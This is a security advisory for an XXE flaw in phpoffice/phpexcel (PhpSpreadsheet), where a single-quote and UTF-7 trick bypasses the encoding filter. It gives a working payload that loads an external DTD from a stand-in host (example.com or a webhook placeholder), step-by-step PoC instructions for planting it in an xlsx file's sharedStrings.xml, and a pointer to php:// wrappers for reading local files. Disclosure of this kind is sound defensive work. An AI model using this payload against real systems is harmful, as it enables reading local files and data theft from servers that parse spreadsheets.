XML injection (XXE) In phpoffice/phpexcel
Description
XXE in PHPSpreadsheet encoding is returned
Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details
Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:
<?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC
Create simple xlsx file
Rename xlsx to zip
Go to the zip and open the xl/sharedStrings.xml file in edit mode.
Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
Save sharedStrings.xml file and rename zip back to xlsx.
Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx");
You will receive the request to your http://%webhook%/file.dtd
Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact
Read local files
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
packagist | - | ||
packagist | 1.29.1, 2.2.1, 2.1.1 |
Aliases
References